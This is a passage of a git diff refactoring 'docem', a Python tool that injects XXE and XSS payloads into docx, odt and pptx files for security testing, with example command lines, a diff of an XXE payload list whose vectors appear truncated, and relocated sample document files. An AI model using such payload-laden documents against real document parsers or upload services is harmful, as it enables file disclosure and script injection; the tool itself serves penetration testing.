self.final_file_packed_zip = f'{self.tmp_folder_path}{final_file_name_core}.zip' + self.final_file_packed_ext = f'{self.tmp_folder_path}{final_file_name_core}.{self.sample_file_ext}' + + """ + Create new folder for specific injection + """ + def _copy_before_injection(self): + self._copy_folder( + src = self.unzipped_folder_path, + dst = self.final_file_folder) + + """ + Archive and rename previously created + new folder for specific injection + """ + def _pack_after_injection(self): + self._archive_folder( + src_folder_path = self.final_file_folder, + dst_archive_path = self.final_file_packed_zip + ) + self._rename_object( + src = self.final_file_packed_zip, + dst = self.final_file_packed_ext + ) + + self._delete_folder(self.final_file_folder) + + print(f'File with payload created: {self.final_file_packed_ext.replace(self.tmp_folder_path,"tmp/")}') + + + """ + For the specified directory remove magic_symbols + from all of the nested files + """ + def _remove_magic_symbols(self, base_folder:str, list_of_relative_paths: dict) -> None: + for file in list_of_relative_paths: + file_fp = base_folder + file + with open(file_fp, 'r') as f: + file_content = f.read() + file_content= file_content.replace(magic_symbol, '') + with open(file_fp, 'w') as f: + f.write(file_content) - if payload_type == 'per_document' or payload_type == 'per_file': - - single_file_mod = single_file_dict['content'].replace(magic_symbol, payload_single) - - elif payload_type == 'per_place': - - single_file_mod = single_file_dict['content'][:offset_in_single_file] - - single_file_mod += payload_single + single_file_dict['content'][offset_in_single_file+1:] + def _convert_tmp_folder_path_to_specific_payload_path(self, path: str) -> str: + return(path.replace(self.unzipped_folder_path, self.final_file_folder)) + + def __test_unzip_and_verify(self, path): + + pass + + """ + Injects single payload to all places from embed_tree + pm - payload mode + pt - payload type + """ + def inject_payload(self, payload: dict, pmode: str, ptype: str) -> None: + suffix_run = uuid.uuid4().hex[:5] + + if pmode == 'per_document': + # Replace all magic symbols in all files + # where there were found + # and pack the result + self.__prepare_paths_for_injected_file(suffix_run=suffix_run, pmode=pmode, ptype=ptype) + self._copy_before_injection() + + for embed_f_path in self.embed_files: + embed_f_path = self.final_file_folder + embed_f_path + with open(embed_f_path, 'r') as file_to_inj: + file_to_inj_content = file_to_inj.read() + file_to_inj_content = file_to_inj_content.replace(magic_symbol, payload['reference']) + file_to_inj_content = self._inject_header(ptype, payload, file_to_inj_content) + with open(embed_f_path, 'w') as file_to_inj: + file_to_inj.write(file_to_inj_content) + self._pack_after_injection() + + elif pmode == 'per_file': + # Replace all magic symbols in each file + # where there were found + # and pack individual results with substitued files + for embed_f_path in self.embed_files: + self.__prepare_paths_for_injected_file(suffix_run=suffix_run, pmode=pmode, ptype=ptype, pfile=embed_f_path) + self._copy_before_injection() + + embed_f_fp = self.final_file_folder + embed_f_path + with open(embed_f_fp, 'r') as file_to_inj: + file_to_inj_content = file_to_inj.read() + file_to_inj_content = file_to_inj_content.replace(magic_symbol, payload['reference']) + file_to_inj_content = self._inject_header(ptype, payload, file_to_inj_content) + with open(embed_f_fp, 'w') as file_to_inj: + file_to_inj.write(file_to_inj_content) + files_with_magic_symbols_to_remove = copy.deepcopy(self.embed_files) + files_with_magic_symbols_to_remove.pop(embed_f_path) + self._remove_magic_symbols( + base_folder = self.final_file_folder, + list_of_relative_paths = files_with_magic_symbols_to_remove) - # Clear other places in a file - single_file_mod = single_file_mod.replace(magic_symbol,'') - - single_file.write(single_file_mod) - single_file.close() - - - elif payload_mode == 'xxe': - with open(single_file_dict['tmp_mod_path'],'w') as single_file: - - # Loading one payload to dict from string - xxe_current_payload_dict = json.loads(payload_single) - - # If there is a reference - # then substitute all magic symblos with references - if xxe_current_payload_dict['reference']: - - if payload_type == 'per_document' or payload_type == 'per_file': - - single_file_mod = single_file_dict['content'].replace(magic_symbol, xxe_current_payload_dict['reference']) - - elif payload_type == 'per_place': - - single_file_mod = single_file_dict['content'][:offset_in_single_file] - single_file_mod += xxe_current_payload_dict['reference'] + single_file_dict['content'][offset_in_single_file+1:] - - # Clear other places in a file - single_file_mod = single_file_mod.replace(magic_symbol,'') - - - # If there is no reference - # then delete all magic symblos - else: - single_file_mod = single_file_dict['content'].replace(magic_symbol,'') - - - # Ending with finding where to place - # payload with - offset_xml_start = int(single_file_dict['content'].find('',offset_xml_start) + 1 - - single_file_mod = single_file_mod[:offset_xml_place_closed_bracket] + xxe_current_payload_dict['vector'] + single_file_mod[offset_xml_place_closed_bracket:] - - - single_file.write(single_file_mod) - single_file.close() - -# STEP 4 -# zip into archive and rename -def document_pack(paths): - - # Split - because shutil will add .zip anyway - #print(paths['path_to_unzipped_folder_modified']) - shutil.make_archive(base_name=paths['path_to_modified_file'].split('.')[0],root_dir=paths['path_to_unzipped_folder_modified'],format='zip') - - # For debug - #print('\n%s'%paths['path_to_modified_file']) - #print(paths['path_to_packetd_file']) - - # copy & rename zip to odt - shutil.copy(paths['path_to_modified_file'], paths['path_to_packetd_file']) - - -def document_copy_dir(paths): - - shutil.copytree(paths['path_to_unzipped_folder_original'], paths['path_to_unzipped_folder_modified']) - - -# -# tree embeding structure -# { -# 'file1':{ -# 'tmp_mod_path':'', -# 'places':[], -# 'path':'', -# 'content':'', -# 'path_in_tmp':'', -# 'count':'' -# }, -# 'file2':{ - -# }, -# 'file3':{ - -# }, -# etc. -# } -def document_tree_embedding_points(paths, tree, magic_symbol): - - print('\n======== Count magic symbols ========') - - count_places = 0 - - embedding = [] - tree_embedding = {} - - embedding_info = {} - # For every document in a tree - for file_key_name in tree.keys(): - # Read file and find all places - file_in_sample_path = tree[file_key_name]['path'] - - #print(file_in_sample_path) - if file_in_sample_path.endswith(('.xml','.txt','.rels','.vml')): - with open(file_in_sample_path, 'r') as file_in_sample: - file_in_sample_read = file_in_sample.read() - file_in_sample.close() - - embedding_count = file_in_sample_read.count(magic_symbol) - - #tree_embedding will be consist only with those files does have magic symbols - if embedding_count != 0: - - tree_embedding[file_key_name] = dict(tree[file_key_name]) - tree_embedding[file_key_name]['count'] = embedding_count - tree_embedding[file_key_name]['places'] = [index for index in range(len(file_in_sample_read)) if file_in_sample_read.startswith(magic_symbol, index)] - tree_embedding[file_key_name]['content'] = file_in_sample_read - - count_places += len(tree_embedding[file_key_name]['places']) - print('\t%d\tsymbols in %s'%(embedding_count,file_key_name)) - - - embedding_info['num_of_files_to_embed'] = len(tree_embedding) - embedding_info['num_of_places_to_embed'] = count_places - - #print('\n\t%d\ttotal files to embed' % len(tree_embedding)) - #print('\t%d\ttotal places to embed' % count_places) - return(tree_embedding,embedding_info) - -def payloads_read_file(path_to_payloads): - - payloads = {} - - with open(path_to_payloads, 'r') as payload_vectors_file: - payload_vectors_file_read = payload_vectors_file.read().splitlines() - - payloads_number = len(payload_vectors_file_read) - for p in range(payloads_number): - payloads['payload_%d' % p] = payload_vectors_file_read[p] - - return(payloads) - -def make_embedding_tree_clear_again(tree_embedding, current_file_key): - - to_clear_files = dict(tree_embedding) - del(to_clear_files[current_file_key]) - - # for debug - #print(tree_embedding.keys()) - #print(to_clear_files.keys()) - - for to_clear_file_key in to_clear_files.keys(): - cleared_file_content = to_clear_files[to_clear_file_key]['content'].replace(magic_symbol,'') - - with open(to_clear_files[to_clear_file_key]['tmp_mod_path'],'w') as cleared_file: - cleared_file.write(cleared_file_content) - cleared_file.close() - -def interface_ask_user(embedding_info,paths): - - # embedding_info['num_of_files_to_embed'] = len(tree_embedding) - # embedding_info['num_of_places_to_embed'] = len(tree_embedding) - - print('\n\t%d\ttotal files to embed (used as modifier with -pt per_file)' % embedding_info['num_of_files_to_embed']) - print('\t%d\tplaces in a doc file to embed (used as modifier with -pt per_place)' % embedding_info['num_of_places_to_embed']) - - num_of_payloads = embedding_info['num_of_payloads'] - - # modifier depends on payload_type (-pt) - modifier = 1 - - if embedding_info['payload_type'] == 'per_file': - modifier = embedding_info['num_of_files_to_embed'] - - elif embedding_info['payload_type'] == 'per_place': - modifier = embedding_info['num_of_places_to_embed'] - - num_of_files_result = num_of_payloads * modifier - - print('\nnum_of_payloads * modifier = %d * %d = %d'%(num_of_payloads,modifier,num_of_files_result)) - print('modifier depends on payload_type (-pt)') - print('\nFiles to be created %d' % num_of_files_result) - - # To be sure that you want to create that amount of documents - answer = input('Continue?(y/n): ') - - if answer == 'n': - make_tmp_clean_again(paths,'original') - exit() - + self._pack_after_injection() + + elif pmode == 'per_place': + # Replace each magic symbol in each file + # where there were found + # and pack individual result with substitued index + for embed_f_path, embed_f_indices in self.embed_files.items(): + for index in embed_f_indices: + + self.__prepare_paths_for_injected_file(suffix_run=suffix_run, pmode=pmode, ptype=ptype, pfile=embed_f_path, pplace=index) + self._copy_before_injection() + embed_f_fp = self.final_file_folder + embed_f_path + + with open(embed_f_fp, 'r') as file_to_inj: + file_to_inj_content = file_to_inj.read() + file_to_inj_content = file_to_inj_content[:index] + payload['reference'] + file_to_inj_content[index + len(magic_symbol):] + file_to_inj_content = file_to_inj_content.replace(magic_symbol,'') + file_to_inj_content = self._inject_header(ptype, payload, file_to_inj_content) + with open(embed_f_fp, 'w') as file_to_inj: + file_to_inj.write(file_to_inj_content) + + # We don't do deep copy here, because the current file + # still contains other occurences of magic_symbol + self._remove_magic_symbols( + base_folder = self.final_file_folder, + list_of_relative_paths = self.embed_files) + + self._pack_after_injection() + -def interface_print_logo(): - logo = ''' +class Interface: + def print_logo(self): + logo = ''' _|_|_| _| _| _|_| _|_|_| _|_| _|_|_| _|_| @@ -423,185 +410,101 @@ def interface_print_logo(): _|_|_| _|_| _|_|_| _|_|_| _| _| _| ''' - version = '1.3' - print(logo) - print('Current version: %s\n'%version) - -def interface_print_example(): - examples = [ - './docem.py -s samples/xxe/docx_sample_oxml_xxe_mod0/ -pm xss -pf payloads/xxe_special_6.txt -pt per_document -kt -sx docx', - './docem.py -s samples/xxe/docx_sample_oxml_xxe_mod1/ -pm xss -pf payloads/xxe_special_1.txt -pt per_file -kt -sx docx', - './docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place', - './docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place' - ] - - print('Examples:\n%s\n' % '\n'.join(e for e in examples)) + version = '1.5' + print(logo) + print('Current version: %s\n'%version) + + def print_examples(self): + examples = [ + './docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xxe -pf payloads/xxe_special_6.txt -pm per_document -sx docx', + './docem.py -s samples/marked/docx_sample_oxml_xxe_mod1/ -pt xxe -pf payloads/xxe_special_1.txt -pm per_file -sx docx', + './docem.py -s samples/marked/sample_oxml_xxe_mod1.docx -pt xxe -pf payloads/xxe_special_2.txt -pm per_place', + './docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xss -pf payloads/xss_tiny.txt -pm per_place -sx docx' + ] + + print('Examples:\n%s\n' % '\n'.join(e for e in examples)) + if __name__ == '__main__': + interface = Interface() + interface.print_logo() + interface.print_examples() - interface_print_logo() - interface_print_example() - - # Working with arguments - parser = argparse.ArgumentParser(description='Create docx,odt,pptx,etc files with XXE/XSS payloads') + parser = argparse.ArgumentParser( + description='Create docx, odt, pptx files with XXE/XSS payloads') optional = parser._action_groups.pop() required = parser.add_argument_group('required arguments') - required.add_argument('-s', dest='sample', type=str, help='path to sample file') - required.add_argument('-pm', dest='payload_mode',type=str,choices=['xss','xxe'],help='payload mode: embedding XXE or XSS in a file') - - #optional.add_argument('-xu', dest='xxe_uri', type=str, help='URI to use in XXE payload - file as \'file:///etc/lsb-release\' or url as \'http://example.com\'') - optional.add_argument('-kt', dest='keep_tmp', action='store_true', help='do not delete unpacked and modified folders') - optional.add_argument('-pt', dest='payload_type', type=str, help='how many payloads will be in one file. per_document is default',choices=['per_place','per_file','per_document'],default='per_document') - #optional.add_argument('-st', dest='sample_type', type=str, help='d ',choices=['doc','folder'],default='doc') - optional.add_argument('-sx', dest='sample_extension', type=str, help='d ') - optional.add_argument('-pf', dest='payload_file',type=str, help='path to a file with payloads to embed',default='payloads/no_payload.txt') + required.add_argument('-s', + dest='sample', + type=str, + help='path to sample file') + required.add_argument('-pt', + dest='payload_type', + type=str,choices=['xss','xxe'], + help='payload type: embedding XXE or XSS in a file') + optional.add_argument('-pm', + dest='payload_mode', + type=str, + help='how many payloads will be in one file. per_document is default', + choices=['per_place','per_file','per_document'], + default='per_document') + optional.add_argument('-sx', + dest='sample_extension', + type=str, help='d ') + optional.add_argument('-pf', + dest='payload_file', + type=str, help='path to a file with payloads to embed', + default='payloads/no_payload.txt') parser._action_groups.append(optional) args = parser.parse_args() # Symbol that is used to determine a place where to place payload magic_symbol = 'XXCb8bBA9XX' - - path_to_complex_file = args.sample + magic_file_extensions = ('.xml','.txt','.rels','.vml') if args.sample: + if not os.path.exists(args.sample): + print(f'Error: Sample file does not exist: {args.sample}') + elif not os.path.exists(args.payload_file): + print(f'Error: Payload file does not exist: {args.payload_file}') + else: + print(f'Document Embed XSS & XXE tool') + print(f'Current magic_symbol: {magic_symbol}') - if os.path.exists(args.sample) and os.path.exists(args.payload_file): - print('Document Embed XSS & XXE tool') - - print('\nCurrent magic_symbol: ',magic_symbol) - - payloads = payloads_read_file(args.payload_file) - - # Create dict with a lot of file paths that will be used - # in future - paths = document_prepare_initial_paths(path_to_complex_file) - - # For dubug - #print('\npaths in the beginning\n',paths) + p = Payloads( + path_to_file = args.payload_file, + ptype = args.payload_type) + s = Sample(args.sample) - # Create tmp directory if it is not exists - if not os.path.exists(paths["path_to_tmp"]): - os.mkdir(paths["path_to_tmp"]) + # only for debug + # s._delete_folder(s.tmp_folder_path, keep_folder=True) print('\n=========== Current setup ===========') - print('sample file path:\t\t',args.sample) - print('sample is a directory:\t',paths['sample_type_is_folder']) - print('payload mode:\t\t',args.payload_mode) - print('payload file:\t\t',args.payload_file) - print('payload type:\t\t',args.payload_type) - print('number of payloads:\t',len(payloads)) - print('keep unpacked files:\t',args.keep_tmp) - - document_unpack(paths) - tree = document_tree_generate(paths) - tree_embedding, embedding_info = document_tree_embedding_points(paths, tree, magic_symbol) - embedding_info['num_of_payloads'] = len(payloads) - embedding_info['payload_type'] = args.payload_type - - #make_tmp_clean_again(paths,'original') - interface_ask_user(embedding_info,paths) - - # Starting maing cycle - for single_payload_key in payloads.keys(): - - print('\n%s' % single_payload_key) - - if args.payload_type == 'per_document': - - docuemnt_prepare_future_paths(paths, args.payload_type, single_payload_key) - document_tree_embedding_append_mod_paths(paths, tree_embedding) - document_copy_dir(paths) - - - # For 'per_document' we are looking only - # for those documents that have embedded magic symbols - # and we do not need to clear anything - # because all magic symbols will be substituted - for single_file_key in tree_embedding: - - document_embed_payloads( - payload_mode = args.payload_mode, - payload_type = args.payload_type, - single_file_dict = tree_embedding[single_file_key], - payload_single = payloads[single_payload_key], - magic_symbol = magic_symbol - ) - - - document_pack(paths) - - print('\tpacked to: %s' % paths['path_to_packetd_file']) - - if not args.keep_tmp: - make_tmp_clean_again(paths,'copy') - - elif args.payload_type == 'per_file': - - for single_file_key in tree_embedding: - - print('\t%s'%single_file_key) - - docuemnt_prepare_future_paths(paths, args.payload_type, single_payload_key, single_file_key) - document_tree_embedding_append_mod_paths(paths, tree_embedding) - document_copy_dir(paths) - - - document_embed_payloads( - payload_mode = args.payload_mode, - payload_type = args.payload_type, - single_file_dict = tree_embedding[single_file_key], - payload_single = payloads[single_payload_key], - magic_symbol = magic_symbol - ) - - make_embedding_tree_clear_again(tree_embedding, single_file_key) - document_pack(paths) - - print('\t\tpacked to: %s'%paths['path_to_packetd_file']) - - if not args.keep_tmp: - make_tmp_clean_again(paths,'copy') - - elif args.payload_type == 'per_place': - - for single_file_key in tree_embedding: - - print('\t%s'%single_file_key) - - for offset_in_single_file in tree_embedding[single_file_key]['places']: - - docuemnt_prepare_future_paths(paths, args.payload_type, single_payload_key, single_file_key, offset_in_single_file) - document_tree_embedding_append_mod_paths(paths, tree_embedding) - document_copy_dir(paths) - - #print('\n',tree_embedding[single_file_key]['path_in_tmp']) - - document_embed_payloads( - payload_mode = args.payload_mode, - payload_type = args.payload_type, - single_file_dict = tree_embedding[single_file_key], - payload_single = payloads[single_payload_key], - magic_symbol = magic_symbol, - offset_in_single_file = offset_in_single_file - ) - - make_embedding_tree_clear_again(tree_embedding, single_file_key) - document_pack(paths) - - print('\t\tpacked to: %s'%paths['path_to_packetd_file']) - - if not args.keep_tmp: - make_tmp_clean_again(paths,'copy') - - if not args.keep_tmp: - make_tmp_clean_again(paths,'copy') - - make_tmp_clean_again(paths,'original') + print('sample file path:\t', s.sample_path) + print('sample is a directory:\t', s.is_sample_folder) + print('payload mode:\t\t', args.payload_mode) + print('payload file:\t\t', args.payload_file) + print('payload type:\t\t', args.payload_type) + print('number of payloads:\t', len(p.list)) + print() + + s.unpack() + s.find_embedding_points() + s.ask_to_confirm_docs_creation(args.payload_mode, p.list) + for payload in p.list: + s.inject_payload( + payload = payload, + pmode = args.payload_mode, + ptype = args.payload_type + ) + + s._delete_folder(s.unzipped_folder_path) + if not s.is_sample_folder: + os.remove(s.copied_file_path) + - else: - print("Error: One of specified files: '%s' or '%s' - does not exist"% (args.sample, args.payload_file)) else: parser.print_help() \ No newline at end of file diff --git a/payloads/xxe_special_6.txt b/payloads/xxe_special_6.txt index c325719..2204bd6 100755 --- a/payloads/xxe_special_6.txt +++ b/payloads/xxe_special_6.txt @@ -1,5 +1,5 @@ {"vector":"]>","reference":"&xxe_canary_0;"} {"vector":"]>","reference":"&xxe_canary_4;"} {"vector":"]>","reference":"&xxe_canary_5;"} -{"vector":"%dtd;%trick;]> ]>","reference":""} -{"vector":"]>","reference":"&xxe_canary_7;"} \ No newline at end of file +{"vector":"%dtd;%trick;]> ]>","reference":""} +{"vector":"]>","reference":"&xxe_canary_7;"} \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index b8f96c2..e9c6824 100755 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1 @@ -lxml argparse \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/[Content_Types].xml b/samples/clear/example_wpsoffice_docx/[Content_Types].xml new file mode 100644 index 0000000..bd27cb0 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/_rels/.rels b/samples/clear/example_wpsoffice_docx/_rels/.rels new file mode 100644 index 0000000..73f95f2 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/customXml/_rels/item1.xml.rels b/samples/clear/example_wpsoffice_docx/customXml/_rels/item1.xml.rels new file mode 100644 index 0000000..a9c831d --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/customXml/_rels/item1.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/xss/docx/xss_sample_0_docx/customXml/item1.xml b/samples/clear/example_wpsoffice_docx/customXml/item1.xml old mode 100755 new mode 100644 similarity index 100% rename from samples/xss/docx/xss_sample_0_docx/customXml/item1.xml rename to samples/clear/example_wpsoffice_docx/customXml/item1.xml diff --git a/samples/clear/example_wpsoffice_docx/customXml/itemProps1.xml b/samples/clear/example_wpsoffice_docx/customXml/itemProps1.xml new file mode 100644 index 0000000..89a0b4c --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/customXml/itemProps1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/docProps/app.xml b/samples/clear/example_wpsoffice_docx/docProps/app.xml new file mode 100644 index 0000000..8bc953f --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/docProps/app.xml @@ -0,0 +1,2 @@ + +10000falsefalse0WPS Office Community_10.1.0.5707_F1E327BC-269C-435d-A152-05C5408002CA0 \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/docProps/core.xml b/samples/clear/example_wpsoffice_docx/docProps/core.xml new file mode 100644 index 0000000..68a0e48 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/docProps/core.xml @@ -0,0 +1,2 @@ + +2018-07-18T17:59:00Zx3ntx3nt2018-07-18T18:06:19Z \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/docProps/custom.xml b/samples/clear/example_wpsoffice_docx/docProps/custom.xml new file mode 100644 index 0000000..0bfc4c1 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/docProps/custom.xml @@ -0,0 +1,2 @@ + +1033-10.1.0.5707 \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/word/_rels/document.xml.rels b/samples/clear/example_wpsoffice_docx/word/_rels/document.xml.rels new file mode 100644 index 0000000..6343b94 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/word/_rels/document.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/word/document.xml b/samples/clear/example_wpsoffice_docx/word/document.xml new file mode 100644 index 0000000..243ec0f --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/word/document.xml @@ -0,0 +1,2 @@ + +TestTest_boldTest_underscore \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/word/fontTable.xml b/samples/clear/example_wpsoffice_docx/word/fontTable.xml new file mode 100644 index 0000000..78c5052 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/word/fontTable.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/word/settings.xml b/samples/clear/example_wpsoffice_docx/word/settings.xml new file mode 100644 index 0000000..8db99f6 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/word/settings.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/word/styles.xml b/samples/clear/example_wpsoffice_docx/word/styles.xml new file mode 100644 index 0000000..66dade8 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/word/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/clear/example_wpsoffice_docx/word/theme/theme1.xml b/samples/clear/example_wpsoffice_docx/word/theme/theme1.xml new file mode 100644 index 0000000..b586065 --- /dev/null +++ b/samples/clear/example_wpsoffice_docx/word/theme/theme1.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/samples/xxe/docx_sample_oxml_xxe/[Content_Types].xml b/samples/marked/docx_sample_oxml_xxe/[Content_Types].xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/[Content_Types].xml rename to samples/marked/docx_sample_oxml_xxe/[Content_Types].xml diff --git a/samples/xxe/docx_sample_oxml_xxe/_rels/.rels b/samples/marked/docx_sample_oxml_xxe/_rels/.rels similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/_rels/.rels rename to samples/marked/docx_sample_oxml_xxe/_rels/.rels diff --git a/samples/xxe/docx_sample_oxml_xxe/docProps/app.xml b/samples/marked/docx_sample_oxml_xxe/docProps/app.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/docProps/app.xml rename to samples/marked/docx_sample_oxml_xxe/docProps/app.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/docProps/core.xml b/samples/marked/docx_sample_oxml_xxe/docProps/core.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/docProps/core.xml rename to samples/marked/docx_sample_oxml_xxe/docProps/core.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/word/_rels/document.xml.rels b/samples/marked/docx_sample_oxml_xxe/word/_rels/document.xml.rels similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/_rels/document.xml.rels rename to samples/marked/docx_sample_oxml_xxe/word/_rels/document.xml.rels diff --git a/samples/xxe/docx_sample_oxml_xxe/word/document.xml b/samples/marked/docx_sample_oxml_xxe/word/document.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/document.xml rename to samples/marked/docx_sample_oxml_xxe/word/document.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/word/fontTable.xml b/samples/marked/docx_sample_oxml_xxe/word/fontTable.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/fontTable.xml rename to samples/marked/docx_sample_oxml_xxe/word/fontTable.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/word/settings.xml b/samples/marked/docx_sample_oxml_xxe/word/settings.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/settings.xml rename to samples/marked/docx_sample_oxml_xxe/word/settings.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/word/styles.xml b/samples/marked/docx_sample_oxml_xxe/word/styles.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/styles.xml rename to samples/marked/docx_sample_oxml_xxe/word/styles.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/word/stylesWithEffects.xml b/samples/marked/docx_sample_oxml_xxe/word/stylesWithEffects.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/stylesWithEffects.xml rename to samples/marked/docx_sample_oxml_xxe/word/stylesWithEffects.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/word/theme/theme1.xml b/samples/marked/docx_sample_oxml_xxe/word/theme/theme1.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/theme/theme1.xml rename to samples/marked/docx_sample_oxml_xxe/word/theme/theme1.xml diff --git a/samples/xxe/docx_sample_oxml_xxe/word/webSettings.xml b/samples/marked/docx_sample_oxml_xxe/word/webSettings.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe/word/webSettings.xml rename to samples/marked/docx_sample_oxml_xxe/word/webSettings.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/[Content_Types].xml b/samples/marked/docx_sample_oxml_xxe_mod0/[Content_Types].xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/[Content_Types].xml rename to samples/marked/docx_sample_oxml_xxe_mod0/[Content_Types].xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/_rels/.rels b/samples/marked/docx_sample_oxml_xxe_mod0/_rels/.rels similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/_rels/.rels rename to samples/marked/docx_sample_oxml_xxe_mod0/_rels/.rels diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/docProps/app.xml b/samples/marked/docx_sample_oxml_xxe_mod0/docProps/app.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/docProps/app.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/docProps/app.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/docProps/core.xml b/samples/marked/docx_sample_oxml_xxe_mod0/docProps/core.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/docProps/core.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/docProps/core.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/_rels/document.xml.rels b/samples/marked/docx_sample_oxml_xxe_mod0/word/_rels/document.xml.rels similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/_rels/document.xml.rels rename to samples/marked/docx_sample_oxml_xxe_mod0/word/_rels/document.xml.rels diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/document.xml b/samples/marked/docx_sample_oxml_xxe_mod0/word/document.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/document.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/word/document.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/fontTable.xml b/samples/marked/docx_sample_oxml_xxe_mod0/word/fontTable.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/fontTable.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/word/fontTable.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/settings.xml b/samples/marked/docx_sample_oxml_xxe_mod0/word/settings.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/settings.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/word/settings.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/styles.xml b/samples/marked/docx_sample_oxml_xxe_mod0/word/styles.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/styles.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/word/styles.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/stylesWithEffects.xml b/samples/marked/docx_sample_oxml_xxe_mod0/word/stylesWithEffects.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/stylesWithEffects.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/word/stylesWithEffects.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/theme/theme1.xml b/samples/marked/docx_sample_oxml_xxe_mod0/word/theme/theme1.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/theme/theme1.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/word/theme/theme1.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod0/word/webSettings.xml b/samples/marked/docx_sample_oxml_xxe_mod0/word/webSettings.xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod0/word/webSettings.xml rename to samples/marked/docx_sample_oxml_xxe_mod0/word/webSettings.xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/[Content_Types].xml b/samples/marked/docx_sample_oxml_xxe_mod1/[Content_Types].xml similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/[Content_Types].xml rename to samples/marked/docx_sample_oxml_xxe_mod1/[Content_Types].xml diff --git a/samples/xxe/docx_sample_oxml_xxe_mod1/_rels/.rels b/samples/marked/docx_sample_oxml_xxe_mod1/_rels/.rels similarity index 100% rename from samples/xxe/docx_sample_oxml_xxe_mod1/_rels/.rels rename to samples/marked/docx_sample_oxml_xxe_mod1/_rels/.rels diff --git 